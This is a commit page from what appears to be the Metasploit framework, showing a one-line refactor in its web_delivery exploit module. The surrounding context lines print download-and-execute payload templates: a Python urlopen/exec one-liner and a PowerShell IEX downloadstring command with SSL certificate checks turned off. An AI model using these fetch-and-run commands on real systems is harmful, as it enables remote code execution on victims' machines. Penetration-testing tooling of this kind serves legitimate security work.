Skip to content

Commit 40c1fb8

Browse files
committed
one line if statement
1 parent b41e259 commit 40c1fb8

File tree

1 file changed

+1
-3
lines changed

1 file changed

+1
-3
lines changed

modules/exploits/multi/script/web_delivery.rb

Lines changed: 1 addition & 3 deletions
Original file line numberDiff line numberDiff line change
@@ -88,9 +88,7 @@ def primer
8888
when 'Python'
8989
print_line("python -c \"import urllib2; r = urllib2.urlopen('#{url}'); exec(r.read());\"")
9090
when 'PSH'
91-
if ssl
92-
ignore_cert = Rex::Exploitation::Powershell::PshMethods.ignore_ssl_certificate
93-
end
91+
ignore_cert = Rex::Exploitation::Powershell::PshMethods.ignore_ssl_certificate if ssl
9492
download_and_run = "#{ignore_cert}IEX ((new-object net.webclient).downloadstring('#{url}'))"
9593
print_line generate_psh_command_line(
9694
noprofile: true,

0 commit comments

Comments
 (0)